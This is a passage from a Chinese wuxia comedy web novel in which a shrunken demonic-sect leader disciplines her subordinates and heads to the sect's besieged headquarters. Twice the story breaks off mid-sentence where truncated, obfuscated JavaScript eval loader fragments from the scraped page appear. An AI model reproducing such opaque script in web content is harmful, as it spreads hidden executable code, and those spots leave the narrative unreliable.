我甩了一下衣摆,猛然站起来,怒道,“告诉你们!本座没那么容易被你们咒死!本座这还没死呢,你们现在就一个一个的都敢窝里反了?!不错呀,真是不错!都是吃了豹子胆了啊?!看来,这些年来,本座是对你们是太纵容了!全都爬到本座的头上来了!” “啪”地一声,金陵的夜空,一朵淡蓝色的烟花盛放在幽蓝色的夜幕之上。 墙外人声鼎沸,墙内气氛已经接近了冰点。 “苏小小!你给我出来!” 我刚才就发现了,走廊的石柱后边藏着一个鬼鬼祟祟的身影趴在柱子后头借机偷窥我。我想,这个金陵分教里对我这么感兴趣的人,除了苏小小也没别人了;在我生气的时候还敢出来造次的,除了这个胆大包天的苏小小,也没变人了。 柱子后面的人立即从阴影里闪出来,果不其然,还真是苏小小。 苏小小倒也淡定,坦然自若迅速走下台阶,排众而出,在我面前盈盈下拜,朗声清晰而有力道,“属下金陵分教副管事,苏小小!小小拜见教主!” 我阴阳怪气,趾高气扬一叉腰,“哦?你就是那个传说中的苏小小呀?” “属下惶恐!” 我慢慢踱着步子,绕到她面前,然后俯下身贴近她,以一种危险而鄙夷的口气道,“听说你是中原第一美人?抬起头来,给本座看看,我倒想见识一下,你这狐狸精是怎么把我分教里的人都迷得神魂颠倒的。” 我语落,却不料有一个人接了话。 “教主,苏姑娘她没做错什么。” 竟然有人敢反驳我?我稍稍有点讶异。要知道,被人反驳这种事,即便是在剑阁总坛里,我都已经多少年没碰到过了,更别说一个小小的分教。 我循声看过去,说话的是商云清。 只不过,他话音刚落,就被狠狠扇了一巴掌。那一巴掌扇得力道十足,看得我都觉得肉疼。 而扇他的人,不是别人,正是苏小小。苏小小的衣袖是极长的水袖,她刚才手腕一甩,衣袖就直抽到了商云清脸上,虽然是打人,动作也是美得仿佛起舞。 妍丽的女子,那精巧的五官肃然严厉起来,气势丝毫不输给男人,“放肆!教主训话哪里轮得到你这个东西插嘴!也不看清自己的身份地位!” 商云清脸上瞬间显露出一道红痕,他眼神黯了一下,随后用谢罪的姿势对我跪拜,“属下知错,请教主治罪,请您不要责怪苏管事……” 苏小小听到最后一句话,猛的回头瞪了商云清一眼,整个人脸色都变了。 随即我就明白了几分,顿时觉得有趣,忍不住想戏耍他们一番。 “你看看你看看,这个金陵分教,上到管事副管事,下到教众,一个比一个厉害,我真是管不了了。”说完,我一撩衣摆,蝴蝶一般一个转身扑到十四身上,挽着十四的胳膊,一边说一边摇头叹气。 十四的脸隐没在斗笠里,他没说话,隐没在斗笠之下的眼睛里,不知此刻是怎样的眼神。 听到我语气缓和,商云清微微抬了点头。他刚想说话,却听到我冰冷至极的声音再度响起来,“不妨告诉你们!我白玉蛟最讨厌两种人,一种是爱勾引男人的漂亮女人,另一种,是喜欢漂亮女人的男人!” 苏小小身体抖了一下,强忍住恐惧和羞愤,“属下一定会严惩商云清!请教主息怒!” “不用了。”我冷笑了一声。 所有跪着的人都隐隐感觉,这个恐怖的女人,下一句应该会说“你直接替他收尸去吧”。 苏小小当即有些失态地抬头瞪着我,我看她那神态,觉得下一秒她有可能会扑上来咬我。不过苏小小没有能够咬我的机会,因为下一秒,她就听到我这恐怖的女人慢慢说道:“苏小小啊,虽然本座不怎么喜欢你,但是镜花宫现在正值用人之际。从今天开始,你就担任金陵分教的总管事吧,至于那个商云清嘛,就给苏小小当个副手,做副管事吧。” 苏小小诧异地看着我,有老半天都没能回神。 “怎么了?”我似笑非笑瞥了她一眼。 “呃,不是,没……”苏小小有点慌乱,末了,她长长出了口气,有点无奈地笑了,“谢教主。” 商云清呆得更彻底。本来这位仁兄已经大义凛然在做着“身首异处、五马分尸、大卸八块”之类的心理建设,却没想到忽然峰回路转,不仅没血溅三尺,竟还连升几级。 众人都松了口气的当下,前任管事赵子谦这边已经汗如雨下了。 他现在被苏小小顶替,已无立足之地,这意味着…… “那个,老赵啊……” 赵子谦顿时哆嗦了一下,“属、属下在……” “你呢,自从本座当教主就跟着我了。跟了我这么些年,恐怕我的行事作风你也了解。对于背叛我的人,只有三个字——杀无赦!”我顿了一下,给那个可怜的胖土豆一点心理准备时间,“若是从前,本座肯定留不得你的命了。不过呢……现在镜花宫正是危急时刻,我就给你一次机会。现在我有个任务交给你,你若办得好,我就放你一马。” 赵子谦一瞬间只觉得全身凝固的血液一下子又流动了,他惊喜万分,扑地大喊,“属下万死不辞!” “好,”我微微抬头。 月色狡黠,夜色却清冷,三千里幽蓝落入眼底。 嘴角漾起一丝冷笑,“传我的口谕给中原所有分教的管事。若是让我发现任何一个人敢图谋不轨,有半点不臣之心,本座便,亲手,把他们的五脏六腑,通通都从肚子里拽出来!本座一字千金,说到做到!” 赵子谦莫名打了个寒颤。 我笑眯眯补充,“你呢,原话传达便好。” 23. 本作走到哪,人就死到哪 处理完了正事,我就霸占了赵子谦的宅邸,大模大样地在园子里摆了一小桌酒菜,一只脚踩着凳子,对一轮明月,自饮自酌。月桂的影子倒映在清浅的小池中,黑色的剪影婀娜婆娑;池中养着黑背的红鲤,红色的身影时常自墨色的水面倏然闪过。风轻,月色皎洁,桂子飘香。 我浅浅抿了口酒,忽然觉得这样的场景很是熟悉。 顾染织所住的院落与这个小院子有几分相似,幽静得近乎僻狭,跟他这个人的性子很像内敛得近乎孤僻。从前,有数不清夜,我如是在这样的清风明月与淡淡的桂子香气里,在他的院落里无所事事自饮自酌。 从前我从没想过,像顾染织这样看似无欲无求的人,竟然会忽然与我撕破了脸,变得那样心狠手辣张牙舞爪。难道是跟着我久了,耳濡目染地都变得不择手段? 不知道如今他在剑阁总坛里是怎样一副焦头烂额的模样。若是他知道我变回来了,脸色恐怕会更难看地吧。 我有些下意识地摸了摸脖子上沈墨白给我戴上的乌金锁。锁被藏在领子下面,人一下变大了不少,原本松松垮垮的锁一下变紧,勒得皮肤有些钝钝的痛。 白玉蛟。 权倾天下,武功盖世,丧心病狂的女魔头。 我真的是那个可怕的女人吗?我摸了摸自己的下巴,一时间,心底涌上了一阵莫名的茫然。 白玉蛟,让人畏,令人惧,招人憎恶。 无论是身边的人,男宠、下属,还是这江湖上的众人;见过她的没见过她的,都想让她死——或者是为了仇恨,或者是为了取而代之,或者是为了换取一世荣华富贵。也许,在我离开蓬莱岛的那一刻起,我被娘亲爹爹抛弃的一时起,就注定我这辈子只能在黑暗而孤独的路上一个人走下去。 其实我曾想过,也许“刹那芳华”第九重真正的意义,便是让那芳华成为刹那,洗去一切罪孽,一切前尘往事,重头来过,再一次给你选择人生的机会——这世间最珍贵的宝藏。 “刹那芳华”可以轻易使人登上武林至尊之位,然而唯有登临顶点之人才能了解高处不胜寒的痛苦。说不定,之所以从未有有前代教主修炼成功“刹那芳华”至第九重的记载,并不是他们失败了,而是因为他们都选择了悄无声息地离开。 原本,我已经不记得怎样普通的活下去。普通地挨饿,普通地争吵,普通地大哭大闹,普通地委屈和快乐。但是偏偏,以“小白”这个身份生存的这几个月,又让我找回了那种感觉。回想变成孩子的这半年,再回想来到这红尘之世的二十年。曾经的一切,仿佛是大梦一场。无论是血腥的杀戮还是所谓的光辉,怎么想,也不觉得真切。 我叹了口气,把手里的白玉酒盏搁在石台上,极品的好酒,这时候有几分的索然无味。我才刚把酒杯放下,立刻一双柔夷素手就执着酒壶替我斟满。在一旁伺候的人,不是别人,正是那个大牌的江湖第一美人苏小小。多少男人费尽心机也无法博得这位玲珑剔透的美人一个侧目的机会,而我呢,从头到尾一直感觉到有两道炯炯有神的目光从苏小小的眼睛里直刺进我的后脑勺。 我说……就算我是你的顶头上司,你也不用拿这么饥渴的眼光瞅着我吧?想求潜规则求包养,你也得先搞清楚性别啊!本座可没有断袖之癖! 我不爽,蹙眉回头盯着她。 苏小小的目光竟然没闪开,反而毫不畏惧瞪大了眼睛,用一种莫名渴望的目光看着我,“教主,可还有什么吩咐?” “……”顿时,我眉头又皱深了三分。 月光下的女子是盛装打扮过的模样——一身紫色直罗长摆束胸长裙,用金线繁复勾勒出的金蝶万千从裙摆上腾起,头上插着一把红珊瑚制成的步摇簪子,上面镶嵌南海明珠数颗。若是日间,这样的打扮必然是耀眼得令人无法直视。 我托着下巴盯着她看了许久,突然欲言又止道,“苏小小,你知道吗?自从第一眼看到你,本座便觉得……” 苏小小有些讶异地看着我,目光闪闪,明显是带着期待。 我吸了口气,眉头一簇,嘴角一挑,露出一个邪恶到骨子里的奸笑,“就觉得吧,你怎么能生得如此美若天仙,如花似玉,婀娜多姿呢?本教主一见到你,一下子觉得我身材走形,年老色衰,无地自容了。” 苏小小听了这话,呼吸倏然停滞了一下。毕竟嘛,以上这些话,都是曾经原封不动从她自己的嘴里说出来的。她不仅将教内机密尽数大嘴巴嚼给沈墨白听,而且还厚颜无耻大放一通对教主不敬自我满足的厥词。 苏小小此时定然是觉得,我竟然神通广大到连她曾经秘密对谁说过什么话,见过什么人,泄露过什么秘密都一清二楚,她能不害怕么? “属下知错!”苏小小虽然慌了一下神,但脸面上颇为淡定,一下子屈膝跪在原地。 “你有什么错呀?”我柔弱无骨似的往酒桌上懒懒倚靠,语调一转,轻叹道,“真是羡慕苏美人你呀,你眨一眨眼睛,这世上的男人都拜倒在你裙裾之下了。” 苏小小沉默了一下,随即深吸了一口气,连珠炮一般脱口道,“教主!您实在过谦了。小小以为,这世上,再没有一个女人,不,是任何一个人,有教主您身上那般气质。于小小来说,您是神一般的人物,您纵横于此世间,来去如风,逍遥自在,无人、无事能够束缚于您。小小这样的这世间的俗物,不配与您相提并论。” 我听完便很张狂地笑了。这马屁拍的倒是很顺溜。 “苏小小,我可没你说的那么神乎其神。我呀,追求的也无非就是色利权钱这些俗物……”我说到这里,想起自己做人之失败种种,忍不住笑着叹了口气,“我觉得,在这方面,你算是这世上最成功的女人了。方才,不是有个儍男人为你不平,冒死替你出头么?我可从来没那个福分,享受到过这等对待。” 苏小小一听到我提起来那个男人,神色就变得有些为难。她咬了咬嘴唇,“那些人都只是看上了小小的皮相。色相不过是过眼云烟罢了,教主您身上的气度在这世上绝对无人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“什么?!这么早?!”我怨灵般一下扑到十四胸前,扯着十四胸前垂落的长发,发飙,“兔崽子你不想活了!” 十四任我扯着也不还手,操起挂着床边的一面铜镜,往我面前一放。我一眼看过去,顿时,什么宿醉什么头疼什么春梦没做完就醒了的怨念,一下就灰飞烟灭了。 我双手捧脸,使劲眨了眨眼睛。镜中人软绵绵一张包子脸,正是七八岁的光景。 这是什么乌龙啊?! “我变回去了?!”我痛心疾首一把抓住十四的手,欲哭无泪。 十四同情地看着我,安抚小猫一般默默拍了拍我的脑袋,“教主,你冷静一点。” 我消沉地哀嚎了一声倒在了十四怀里。这让本座如何能够泰然处之镇定自若啊…… “算了,”我又仔细对着镜子端详了一会儿自己的脸,随后淡定道,“依我看,我一时半会儿是变不会去了。此地不宜久留,我可不能让别人看到我这幅模样。此时走为上计。” “教主您的意思是?” “回剑阁,镜花宫总坛。” 24. 那些要命的女侠们 自那一日,我在金陵,折镖旗,大闹了一场之后,整个江湖的气氛一下子剑拔弩张紧张到了极点。镜花宫内部,之前仗着我这个教主失踪而胡作非为的长老们和顾染织,得知教主正怒不可遏从金陵风风火火杀向镜花宫总部兴师问罪,各个心惊胆战,之前那些个“投敌叛国”“取而代之”的想法一下子都飘散在风中。同时,原本打着“隔山观火”“渔翁得利”主意的各个分教,在收到了赵子谦关于“开膛破肚”的威胁之后,也一个个摆出一副,“大义凛然,誓与教主共存亡”的架势。于是乎,之前一盘散沙般的镜花宫瞬间就显得万众一心,想要攻而破之的武林同盟,在剑阁脚底下,忽然踟蹰不前。 武林同盟的先锋部队——武当和青城派,在几日前已经抵达了剑阁脚下。白玉蛟金陵现身之前,那镜花宫乱成一锅粥,武林同盟基本上没有碰上任何有威胁的抵抗,便一路高歌猛进,直杀到了镜花宫的家门口。那会儿,斗争前途一片大好。同盟内各派也是气势高涨,各个门派是一个比一个积极,跃跃欲试,妄图第一个上去灭了魔教抢个头功。 谁料,变数突生,那白玉蛟竟然又死而复生! 经白玉蛟这么一闹,镜花宫的防卫一下子就坚固起来了,原本一盘散沙,现在众志成城。于是,之前那些嚷嚷着打头阵的门派们,又见风使舵,端起了互相谦让的架子。你推给我,我推给他,任谁也不想第一个上碰硬钉子。而且,武林盟内部有出现了“阴谋论”,有人推断:莫非这一切不过是白玉蛟这个女魔头设下的陷阱?放出假消息将整个武林的正派同道们都吸引至此,然后将计就计,将武林的中坚力量一举歼灭?此推论一处,各个门派更不想第一个上去当替死鬼。至此,总攻计划便一拖再拖,门派头目整日凑在一起争论不休,也不知道在争论些什么废话。 就在武林同盟陆续抵达剑阁脚下,在镜花宫脚边安营扎寨的时候,江湖舆论一片喧嚣。原本乐观认为魔教必败无疑的舆论,一下子又煽起了悲观主义风潮,认为既然白玉蛟没死,这次讨伐,恐怕是凶多吉少。 不是本座夸大其词,本座翻手为云覆手为雨,胜败只在我一人之手。如果是一对一的擂台,我白玉蛟天下第一,谁上来我都能一个大嘴巴把他给扇下去。 如果是混战,本座更是手到擒来。如今江湖上的各类武功都是单独技,不论是谁,武功修为再高,被几十几百个人一拥而上围攻,那是必死无疑。而本派魔攻“刹那芳华”却不同于此,其最强之处在于,它是个团体攻击技,一巴掌扇飞一片,就算是千军万马也抵不上我这个大规模杀伤性功力。 一个月之后,我和十四也到了镜花宫脚底下的梓潼县。梓潼因“东倚梓林,西枕潼水”而得名,正处在蜀道的南端,正是这次武林盟准备进攻镜花宫的据点。平日里悠闲的县城,这时俨然是一副全城戒严的紧张样子,街上来来往往走的全都是腰上挂着佩剑别着大刀的武林人士,而且个个是顶着一张“天下人欠我一顿满汉全席”的脸,让人看着就觉得胃疼。我和十四在一家茶馆歇脚,打算吃顿饭,顺便探听一下情况。谁料,刚坐下凳子还没坐热,就发生了让我非常不爽的事情…… 不巧,我们竟然碰上峨眉派的那帮小师太。峨眉派的小妞儿们,在武林上那是出了名的风骚。平时也不好好练武功,专门勾搭各种青年才俊。你看,那一个两个三个四个的,媚眼一个劲儿地往十四身上飞!你们是不是集体眼睫毛都掉进眼睛里了啊! 对于峨眉的妹子们,我真的是抱着多看一眼会折寿的想法,避之而不及,然而,悲催的是,半个时辰之后,我和十四竟然加入了她们的队伍。 事情是这样的…… 当时,十四坐在我对面,全无知觉地帮我用两个杯子来回倒水,水倒冷了就递给我。 “小姐,热水。茶品不好,请忍耐一下。”我凑过去一仰头把水喝干,然后抹抹嘴巴,道,“我早习惯喝茶叶末了,能解渴还不都一样……”说完,我皱了皱眉,转身背对着峨眉派那帮小妞,轻声道,“如果一会儿峨眉的人过来搭话,你千万要……” 我“打发走她们”还没说出来,忽然就听到背后一个“银铃”一般的声音,笑道,“这位公子面生地很,我看你腰上也带着剑,可也是一同来讨伐魔教的同袍?” 所谓“回荡着银铃般的笑声”这样的描写,可以被列入最恶俗经典句式的前十,所以,你大概可以想象到此女的声音到底有多恶俗了。 十四为难地看了我一眼,因为我完全沉浸在恶寒之中对其置之不理,他只好答话,“是。” “哎呀,那真是好巧哦,”女子说着,毫不避讳地就在十四旁边坐下了,“真是有缘千里来相会呀,黛黛我先干为敬。”说完,这名自称“黛黛”的女子,自觉主动拿起小酒壶就自饮了一杯。 我腹诽:峨眉派的姑娘们,你们干嘛不改行当鸡,我看你们资质都无比过人啊!赶着一起去杀人也能叫做有缘啊?! 十四眼神有点复杂地看她一眼,然后礼貌回绝道,“抱歉,我不便饮酒。” 女子脸色尴尬了一下,不过立刻又舔着脸笑道,“敢问公子大名,是师出何处?” 十四又看了我一眼,我给他使眼色,让他快点打发走这群女人。 十四道垂眸,没什么情绪道,“在下不过是一无名小卒,护送我家小姐一同前来此处,不足各位挂齿。” 他话还没说完,背后就想起来一片“银铃”般的笑声。 “黛黛妹妹,你就别为难这位公子了,你看他连话都不好意思说了。” 我脸色越发的黑,继续腹诽:你是哪只眼睛看到我们家十四不好意思了!明明就是懒得理你啊!做人脸皮不能这么厚好不好! “哎,我看这位公子,你要照顾这么小的女孩子肯定是很辛苦吧?不如我们一同上路……” 我的脸此时已经黑如锅底,腹诽:我看还是照顾你们比较辛苦一点! “那就多谢诸位姑娘美意了。” 十四说完,还抬头,浅浅对那帮姑娘们笑了一下。 顿时,本座我就活生生被劈死在原地了。 谁让你对她们笑的!不不不,这不是关键问题!谁让你跟她们一起上路的! 后来,十四弱弱问,难道我当时给他的眼色意思不是“利用她们混进去”的意思吗? 我很伤心。十四啊!我白白栽培你了!你也太会扭曲领导的精神了啊! 于是乎,我很悲催地跟着峨眉这帮小妮子上路了。 其实说实话,跟着她们也不是没有好处。这帮小妮子们都是花痴,看十四是个帅哥,于是把他安插在队伍里,装作是运送行李的家丁。跟着峨眉派的队伍,省了不少通过关口的麻烦。 一路上我都在默默盘算着目前的局势。 峨眉的姑娘们有一个绰号,叫做“胜利之神”,当然,这个绰号是我起的。她们之所以有这个绰号,并不是因为她们武功高强很能掐,而是因为,通常来说,峨眉的妹子们都是等着头一批先锋打开了路,中坚力量已经摧毁了敌人的抵抗,最终的胜利已经近在眼前的时候才会姗姗迟来。所以看到她们,基本上便可断定——大局已定。 想到这里,我稍微有一点点忧虑。据说,翠云廊已经失守,现在已经攻打到了镜花宫最后的咽喉之处——剑门关。照理说,剑阁易守难攻,不会那么容易让他们攻入,莫非是教内出了什么乱子? 这次给峨眉的带队的,不是掌门师太,而是师太的大弟子,峨眉的下一任掌门杜青娥。就是那个曾经自己滑倒了还污蔑我袭击她的笨蛋女人。而那个来勾引十四的小妞儿叫做秦黛黛,是杜青娥这一辈最小最得宠的师妹。这位师妹姑娘,打从一开始就对十四纠缠不休,现在我们一队人正骑马走在一个小山麓上,十四带着我共乘一马。秦黛黛抓住了机会,立刻又来找十四搭讪,没什么话题,于是这傻丫头就不屈不挠追问其十四和我的身份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚一凑近,我就听到杜青娥一个人在那里高谈阔论,“师妹们,在这里发现尸体非同小可!很有可能是魔教奸人设下了什么埋伏,想要暗害各位同袍!我们现在必须暂且在此休整,拟定一个详尽周全的计划! 不过大家不要慌张!千万要保持镇定,不要被魔教的这点伎俩给吓到了!毕竟我们峨眉派也不是吓大的!” 我环视一周,一众美眉们各个面色苍白,手都如晒,明显是已经吓到了啊!我翻了个白眼,探了探头,从人缝里找到了杜青娥所说的“尸体”……顿时,本座的脸就气绿了。 断断不能让这帮蠢女人耽误了本座的行程,于是本座毫不客气,奶声奶气开了腔,“峨眉的姐姐呀!这个确切来说不能算是‘尸体’吧?都已经腐化成这样了,姑且也只能称之为‘骸骨’了好吗!此人少说也死了有两个月了,你说魔教设埋伏这是从何谈起啊?我们已经来得够晚了,要是再耽搁,恐怕到时候就见不到各位武林同袍们剿灭魔教的英姿了!” 我话音一落,杜青娥的脸色就慢慢变红了。想必是这位姑娘终于发现自己伟大的推理根本就是走岔了。 忽然,不知道从哪里冒出来的秦黛黛一下子蹭到了十四边上,弱弱抱住十四的胳膊,小声说,“哎?骸骨也很可怕耶,会不会是白骨精呀?” 她这话音一落,周围的峨眉派众美艳尼姑们,齐刷刷往后退了一步。 我简直气得要内出血,牙缝里挤出几个字,“你妹的白骨精……” 秦黛黛闻言,立即特别无辜看着我,“小妹妹!我怎么会是白骨精的姐姐呢?虽然大家都说我长得又几分姿色,但是……” 我被秦黛黛在耳边念得头疼,一头扑进十四颈窝里暗暗磨牙。天呐!本座真想一巴掌扇飞了丫啊! 总之,我这一路就被这帮脑残的姑娘们折磨着,这帮妹纸们又娇气,哪里是在赶路,简直就是出来秋游踏青!最后,我们经历了“千难万险”,终于与武林大军在剑门关之外不远处的“觉苑寺”中胜利会师。 25. 剑阁论剑 觉苑寺内,各方人马安营扎寨。 武当的老道长虚无和少林的老秃驴正在合计什么,杜青娥一到便立即就代表峨眉向他们问好去了,我和十四趁着人多杂乱,就偷偷脱离了峨眉那帮丫头。大略环顾了四周,一群乌合之众,鱼龙混杂。江湖中有头有脸的门派一个也没落下,青城、唐门、武当、少林、峨眉这些大派我自然是一个也不放在眼里,唯一值得注意的只有我最视为眼中钉的门派“玉宇琼楼”。他们的人个个身着月白色云锦纹缎袍,在黑压压的人群里异常显眼。乱七八糟的小武行、镖局也有派人来的,还有些邪门的,什么五毒教之类的外道,竟然也现身于此。同为魔教,相煎何太急?唇亡齿寒难道他们都不明了? 此外,我竟还看到了个意想不到的人——当年叛乱了镜花宫的长老——屠龙手段岑。这老家伙,半年不见,竟然投靠了西南的镇西王府,也就是投靠了凤栖梧他爹。段岑这厮对全武林宣称自己当年是被白玉蛟要挟,才被迫投靠在镜花宫手下。哼,什么帐都算在本座头上,你们倒是方便! 总之,各门各派十个八个人凑在一起,一干乌合之众,约摸也有五六百人。这些人大抵都是各门各派的精英,虽然我一再贬低武林正派,但是平心而论,这帮人战力还是不弱的。 我令十四潜回镜花宫总部,若教中内乱,就传我的口谕给顾染织和长老们,就说白玉蛟已经到了剑门关。从剑门关开始,不许再后退半步,让他们死守也得给我守住了。谁要投降,要逃跑的,我白玉蛟便亲手把他脑袋给剁下来。剑门关易守难攻,地势高耸非常险要,当真是一夫当关万夫莫开。若是他们能背水一战,守他个十天半个月的没问题,到时候,如果我能掌握契机变回去,一切就都好办了。 问题就是,怎么才能变回去……这可真真是个须得冥思苦想的问题。 我正举头望明月低头思人生,突然冷不防被人从背后整个给熊抱住了。 我倒抽一口冷气,正要挣扎,却忽然觉得身后这人的感觉甚是熟悉。 “死丫头!竟然失踪了一个月!你是想撇下你爹跟你的小情人私奔不成?!” 背后一男人哀怨的声音响起来。 我立即意识到背后的人是谁,还没挣脱,就被这人面兽心的家伙给揪住了面颊一番蹂躏。 我被揉地像团面似的,只能求饶,“呜呜呜,谋杀亲闺女……” 没错,这个袭击我的家伙,便是被我遗忘许久的沈墨白。 “你来这里干嘛?”我揉揉脸,怨愤地瞥了他一眼。 “哈,做什么?显然是凑热闹呀。”沈墨白毫不在意地一撩衣摆,一屁股坐在地上,把我拉到他怀里搂着。 入秋已经深了,夜风习习夹杂着些许凉意,习武之人体温略高,被他这么抱着倒是蛮舒服。 “我说你抱这么紧干嘛!都不能呼吸了!”我把头从他胸口用力抬起来,不爽地挠他脖子。 “想你了。”沈墨白把头埋在我背后,轻轻说。 我听了这话,挣扎的动作忽然停顿了一瞬间。 那句话听起来柔和得有点令人难以置信。有点叹息有点无奈,有点让人无法理解的安然。柔和地让我觉得太过于陌生,师傅走后,多少年了?不再有人会用如此的语气对我说话。 我感觉有点别扭,于是用力推了他一下,从他怀里挣脱出来,“你还会想我?你不是嫌弃我都来不及么?” “怎么会?”沈墨白嬉皮笑脸凑上来,“我有多疼你,你感觉不到?多希望你就是我家的丫头,一辈子也不要跟我分开。” 他这肉麻话说得自然,我却有点撑不住面子了。赶紧白了他一眼,匆匆忙忙扯开了话题,“喂,你们烟雨楼不是不介入江湖纷争么?你这次来是什么意思?” 沈墨白挑眉,“仅仅看热闹罢了,如此江湖上百年难遇的大热闹,我这一闲人,怎么能错过?倒是你,为何在金陵不辞而别?为何又突然到了这里?” “呃……”我打太极似的跟他兜圈子,“这有什么不好理解的?你不是一直说我是小魔头吗?现在我自家有难,我当然不能坐视不理了。” “哦?那你要如何‘理’了此事?”沈墨白浅浅一笑,墨色的眸子在夜色里反射着火光,闪发出一抹妖异的橘色。 我盯着他,忍不住恶寒了一下,“大白,你可知自己这表情很邪恶啊?” 沈墨白摇了摇头。他眯起眼睛,仰望天空。天幕上,那一轮明月,将满未满。 “我真是非常期待呀,明日,究竟会发生什么事。” 我皱眉,“明天?” “你不知道?今夜是十四,明日,也就是望月之时,武林同盟将对剑门关发动最后的总攻。镜花宫是存是亡,就在明日了。” 我呆呆得愣了几秒钟。 怪不得我一来,便觉得这里的气氛紧张地如若要崩断的弦,原来明日便是总攻之时。 我随即叹气连连——本座不过是离开镜花宫半年多,这魔教就要解散了,这到底是说明我实在是太重要,还是说明我统治方式明显是出现问题? 我正陷入无尽苦闷,忽然又听到沈墨白“咦”了一声,“跟着你的那条小狗跑哪儿去了?你不是跟他来的?” 沈墨白所指的小狗,自然是指十四。 “啊……他啊?”我远远瞄到穿得花里胡哨的峨眉派众人,于是打马虎眼道,“刚才就没见到了,可能是跟峨眉派的美女们调情去了吧。” “哦?”沈墨白的语气里,充满了怀疑。 我正想着要怎么打发他,忽然薛紫一下不知道从哪里冒了出来,他对沈墨白微微比了一个手势,沈墨白当下露出一个不耐烦的神色。 “薛紫,你在这里看好小白,我去去就回,”说完,沈墨白起身,低头在我额头上重重亲了一下,然后摸摸我的头顶又不放心得叮嘱,“乖乖在这里等爹爹,爹给你糖吃。” 至于后来,沈墨白是不是真的拿糖给我吃我就不知道了。因为,这匆匆见面之后,我们又机缘巧合的失之交臂。而从这一日一夜之后,我们俩的关系,也发生了非常微妙的变化。 好些日子不见薛紫,这孩子貌似是长高了。我抬头看着他,充满母爱地感叹:十几岁的男孩子,长起来就是快……想当年十四……等等,好像有什么不对…… 不料,薛紫仔细看了我一会儿,忽然语出惊人,“小白,才一个月不见,我怎么觉得你长大了不少。” “是吗?”我看了看自己的胳膊腿儿,仍旧短小,约摸就长了那么一寸,四舍五入之后便可忽略不计。 “这里人多杂乱,我带你回房吧。” “房?”我有点讶异。觉苑寺厢房有限,能分得上房间的,必然都是各门各派的头目,或是些有权有势的大人物。沈墨白隐姓埋名的,怎么也分到房间了? 薛紫领着我一路经过回廊。此时,大多人都聚在觉苑寺前院商议明日的对策,厢房这边冷冷清清,不见几个人影。 在我套话之下,薛紫这没防备的孩子便无辜做了内鬼,把各门各派的信息透露给我。 我本打算施个计谋,比如放个火什么的,拖延一下明日武林同盟的进攻,然而,就在我和薛紫离厢房还有几步之遥的时候,突然,变数途生! 一道白影倏然从天而降,鬼魅一般掠过我身边。我还没来得及反应,就被拦腰抱着,给——掳!走!了! 薛紫一惊之下,反应慢了半拍。他想要阻止白衣人已经来不及了,眼看那白色的身影一起一落,影子一般消失在了黑暗的林间。 劫走我的人武功绝对是当世顶尖的。他使得轻功是已经失传了的武当绝学梯云纵,乘风御云犹如白驹过隙,身影快得连用眼睛捕捉到都困难。这家伙要甩掉薛紫,根本就是件轻而易举的事情,然而我发现他却像玩猫捉耗子似的,故意每到一处落脚点,就停下歇口气,仿佛是故意在等薛紫跟上来。 最后,在已经远离了觉苑寺的树林深处,他忽然把我放下了。 周身都是活了千百年的古柏,散发着陈腐古旧气味的枝干耸入云霄,从枝干上垂下来的树藤一直垂入松软的泥土中。 白衣人一身锦缎青纱,脸上也蒙着白纱,站在一片林叶之下,整个人在微风中衣袖微扬,一副飘飘欲乘风欲归的鬼神样。 我有点丈二和尚摸不着头到。看样子,这家伙不是想害我,那把我带到这里,又引来薛紫是什么意图? 白衣人见我盯着他看,却不说话,于是面纱下的他,沉沉笑了,“你也不问问我是谁?” 那声音低沉而略沙哑,听起来像是老男人的嗓子。 我冷哼了一声,“你若是想说,我不问你也会告诉我;你若是不想,我问了也没用。” 白衣人略微歪了歪头,表示对这样的回答颇为满意。这种人似笑非笑,看起来高深莫测,让人感觉颇为——靠谱。 我觉得他不像想加害于我,于是我笑着试探,“不过我还是有问题要问你,你的目标到底是谁?为何将薛紫引来?” 白衣人没有回答,却抬头。 我顺着他的目光看去,发现,他是在看重重枝桠掩映之外,天空中的那轮如盘明月。 “他对我没用,对你有用。”白衣人收回目光,对我丢下了一句非常莫名其妙的话。 “什么用?” 白衣人没说话,只是抬手指了指天空中的月亮。 隔着面纱,我也知道他在笑。 我突然感觉到一阵毛骨悚然。 我感觉到毛骨悚然当然不是被吓到了,我白玉蛟又不是被吓大的!本座可是专职走夜路,搞屠杀,鬼神不惧的魔教教主!即便有鬼,本座依旧能够谈笑风生! 我感觉到毛骨悚然,是真的感到全身到处都不对劲。我猛然感到从脚趾尖到头顶一阵麻木,一瞬间,我便瘫倒在地动弹不得。 这种感觉,我已经是第二次遇到。上一次是在八月十五的灯会上。与其说是感觉,倒不如说是毫无感觉。仿佛全身都不是我的了,我竟然一瞬间连一点知觉都感受不到。 难道说……我艰难地抬头看向那个白衣人,在全身毫无感觉的时候拧动身体真的非常怪异,仿佛拧动的不是你自己,而是一块生猪肉。 我抬眼去看,视野里空无一人。 然后,然后就没有然后了。本座又昏过去了。 等我醒来的时候,天都已经大亮。我爬起来,发现了一个悲剧——不出所料,我又只穿着劲爆的碎布条变回了大人。不过紧接着,我就又发现了一个喜剧。我发现薛紫被点了穴道,晕倒在地,就躺在我的一步之外。 我顿时领悟了那位白衣飘飘先生的言下之意。于是立马身体力行,开始动手剥薛紫的衣服。 男孩子嘛,不袒露胸肌的青春,是不完整的……片刻后,薛紫的衣服已经完好穿在了本座的身上。 ··· 当年,江湖上谈起白玉蛟,人人斥之为魔头。然而,就像每一个年代都有一个英雄一样,这个时代的枭雄也能在历史上抹上浓重的一笔。那些对于大奸大恶之徒的记述,有时甚至是比英雄要更加详尽,千百年之后仍旧能够为人在茶余饭后念叨,拿出来评述一番。人们往往是这样叙述的,“从前啊,有一个卑鄙无耻下流的某某某……后来,他死了。这个故事教育我们,做人一定要对得起天地良心啊!” 